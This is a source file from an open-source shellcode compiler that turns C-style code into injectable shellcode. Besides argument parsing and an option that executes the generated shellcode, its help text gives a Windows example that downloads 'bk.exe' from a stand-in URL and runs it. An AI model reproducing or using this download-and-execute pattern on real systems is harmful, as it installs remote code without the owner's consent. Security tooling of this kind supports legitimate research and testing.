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ShellcodeCompiler/ShellcodeCompiler/CommandLine.cpp at master · dnangle/ShellcodeCompiler · GitHub
dnangle
ShellcodeCompiler
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ShellcodeCompiler
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CommandLine.cpp
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ShellcodeCompiler
/
CommandLine.cpp
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#
include
"
CommandLine.h
"
//
Program version
#
define
PROGRAM_VERSION
"
v2.0 Alpha
"
//
Global variable for command line arguments
bool
CommandLine::g_bHelp =
false
;
bool
CommandLine::g_bVerbose =
false
;
bool
CommandLine::g_bTest =
false
;
bool
CommandLine::bError =
false
;
bool
CommandLine::g_bPlatform =
false
;
string CommandLine::g_sPlatform =
"
"
;
PLATFORM_TYPE
CommandLine::g_ePlatform =
PLATFORM_TYPE_WINDOWS_X86
;
bool
CommandLine::g_bReadFile =
false
;
string CommandLine::g_sReadFile =
"
"
;
bool
CommandLine::g_bOutputFile =
false
;
string CommandLine::g_sOutputFile =
"
"
;
bool
CommandLine::g_bASMFile =
false
;
string CommandLine::g_sASMFile =
"
"
;
//
Print help
void
CommandLine::PrintHelp
(string p_sFile)
{
cout << endl;
cout <<
"
Shellcode Compiler
"
<<
PROGRAM_VERSION
<< endl;
cout <<
"
Ionut Popescu [ NytroRST ]
"
<< endl;
cout <<
"
NytroSecurity [ nytrosecurity.com ]
"
<< endl << endl;
cout <<
"
Program description
"
<< endl;
cout <<
"
-------------------
"
<< endl << endl;
cout <<
"
\t
Shellcode Compiler is a program that compiles C/C++ style code into a small,
"
<< endl;
cout <<
"
\t
position-independent and NULL-free shellcode for Windows (x86 and x64) and
"
<< endl;
cout <<
"
\t
Linux(x86 and x64). It is possible to call any Windows API function or Linux
"
<< endl;
cout <<
"
\t
syscall in a user - friendly way.
"
<< endl << endl;
cout <<
"
Command line options
"
<< endl;
cout <<
"
--------------------
"
<< endl << endl;
cout <<
"
\t
-h (--help) : Show this help message
"
<< endl;
cout <<
"
\t
-p (--platform) : Shellcode platform: win_x86,win_x64,linux_x86,linux_x64
"
<< endl;
cout <<
"
\t
-v (--verbose) : Print detailed output
"
<< endl;
cout <<
"
\t
-t (--test) : Test (execute) generated shellcode
"
<< endl;
cout <<
"
\t
-r (--read) : Read source code file
"
<< endl;
cout <<
"
\t
-o (--output) : Output file of the generated binary shellcode
"
<< endl;
cout <<
"
\t
-a (--assembbly) : Output file of the generated assembly code
"
<< endl << endl;
cout <<
"
Windows example
"
<< endl;
cout <<
"
---------------
"
<< endl << endl;
cout <<
"
\t
function URLDownloadToFileA(
\"
urlmon.dll
\"
);
"
<< endl;
cout <<
"
\t
function WinExec(
\"
kernel32.dll
\"
);
"
<< endl;
cout <<
"
\t
function ExitProcess(
\"
kernel32.dll
\"
);
"
<< endl << endl;
cout <<
"
\t
URLDownloadToFileA(0,
\"
https://site.com/bk.exe
\"
,
\"
bk.exe
\"
,0,0);
"
<< endl;
cout <<
"
\t
WinExec(
\"
bk.exe
\"
,0);
"
<< endl;
cout <<
"
\t
ExitProcess(0);
"
<< endl << endl;
cout <<
"
Linux example
"
<< endl;
cout <<
"
-------------
"
<< endl << endl;
cout <<
"
\t
chmod(
\"
/root/chmodme
\"
, 511);
"
<< endl;
cout <<
"
\t
write(1,
\"
Hello, world
\"
, 12);
"
<< endl;
cout <<
"
\t
kill(1661, 9);
"
<< endl;
cout <<
"
\t
getpid();
"
<< endl;
cout <<
"
\t
execve(
\"
/usr/bin/burpsuite
\"
, 0, 0);
"
<< endl;
cout <<
"
\t
exit(2);
"
<< endl << endl;
cout <<
"
Invocation example
"
<< endl;
cout <<
"
------------------
"
<< endl << endl;
cout <<
"
\t
"
<< p_sFile <<
"
-p windows_x64 -r Source.txt -o Shellcode.bin -a Assembly.asm
"
<< endl << endl;
}
//
Parse command line arguments
void
CommandLine::ParseCommandLine
(
int
argc,
char
*argv[])
{
string CurrentParam;
string NextParam;
//
Check arguments
for
(
int
i =
1
; i < argc; i++)
{
CurrentParam = argv[i];
if
(i +
1
< argc) NextParam = argv[i +
1
];
else
NextParam =
"
"
;
//
Check options
if
(CurrentParam.
compare
(
"
-h
"
) ==
0
|| CurrentParam.
compare
(
"
--help
"
) ==
0
) g_bHelp =
true
;
else
if
(CurrentParam.
compare
(
"
-v
"
) ==
0
|| CurrentParam.
compare
(
"
--verbose
"
) ==
0
) g_bVerbose =
true
;
else
if
(CurrentParam.
compare
(
"
-t
"
) ==
0
|| CurrentParam.
compare
(
"
--test
"
) ==
0
) g_bTest =
true
;
//
Arguments that require an option as a second argument
else
if
(CurrentParam.
compare
(
"
-r
"
) ==
0
|| CurrentParam.
compare
(
"
--read
"
) ==
0
)
{
g_bReadFile =
true
;
if
(NextParam.
length
() >
0
) g_sReadFile = NextParam;
else
{
bError =
true
;
cout << endl <<
"
Missing required value for -r argument
"
<< endl;
}
}
else
if
(CurrentParam.
compare
(
"
-p
"
) ==
0
|| CurrentParam.
compare
(
"
--platform
"
) ==
0
)
{
g_bPlatform =
true
;
if
(NextParam.
length
() >
0
) g_sPlatform = NextParam;
else
{
bError =
true
;
cout << endl <<
"
Missing required value for -p argument
"
<< endl;
}
}
else
if
(CurrentParam.
compare
(
"
-o
"
) ==
0
|| CurrentParam.
compare
(
"
--output
"
) ==
0
)
{
g_bOutputFile =
true
;
if
(NextParam.
length
() >
0
) g_sOutputFile = NextParam;
else
{
bError =
true
;
cout << endl <<
"
Missing required value for -o argument
"
<< endl;
}
}
else
if
(CurrentParam.
compare
(
"
-a
"
) ==
0
|| CurrentParam.
compare
(
"
--assembly
"
) ==
0
)
{
g_bASMFile =
true
;
if
(NextParam.
length
() >
0
) g_sASMFile = NextParam;
else
{
bError =
true
;
cout << endl <<
"
Missing required value for -a argument
"
<< endl;
}
}
}
//
Check for errors
if
(bError ==
true
)
{
cout <<
"
Cannot compile, check command line arguments!
"
<< endl;
return
;
}
//
Help
if
(g_bHelp)
{
PrintHelp
(argv[
0
]);
return
;
}
//
Set platform
if
(g_bPlatform)
{
Platform::SetPlatformString
(g_sPlatform);
cout << endl <<
"
Target platform:
"
<<
Platform::GetPlatformString
() << endl;
}
//
Parse source file
if
(g_bReadFile)
Compile::ParseFile
(
Utils::ReadSourceFile
(g_sReadFile));
else
{
cout <<
"
You must specify a source code file!
"
<< endl;
return
;
}
//
Output data from verbose mode
if
(g_bVerbose)
DebugUtils::DumpAllData
();
//
Compile all data
string
sASMOutput
=
Compile::CompileAllData
();
//
Output ASM file
if
(g_bASMFile)
{
if
(
Utils::FileExists
(g_sASMFile))
Utils::DeleteSourceFile
(g_sASMFile);
Utils::WriteToFile
(g_sASMFile,
sASMOutput
);
}
//
Output file
if
(!g_bOutputFile)
g_sOutputFile =
"
Shellcode.bin
"
;
if
(
Utils::FileExists
(g_sOutputFile))
Utils::DeleteSourceFile
(g_sOutputFile);
//
Compile using Keystone engine
size_t
nAssembledSize =
0
;
unsigned
char
*pcAssembled =
KeystoneLib::Assemble
(&nAssembledSize,
sASMOutput
);
if
(nAssembledSize ==
0
)
{
cout <<
"
ERROR: Cannot compile the code!
"
<< endl;
return
;
}
//
Write output to file
size_t
nResult =
Utils::WriteBinaryFile
(g_sOutputFile, pcAssembled, nAssembledSize);
if
(nResult ==
0
)
{
cout <<
"
ERROR: Cannot write the compiled shellcode to file!
"
<< endl;
return
;
}
//
Test shellcode
if
(g_bTest)
{
cout << endl <<
"
Testing shellcode...
"
<< endl;
//
Cross platform sleeping (be sure output file is written)
#
if
defined(_WIN32)
Sleep
(
1000
);
#
else
sleep
(
1
);
#
endif
DebugUtils::TestShellcode
(g_sOutputFile);
}
}
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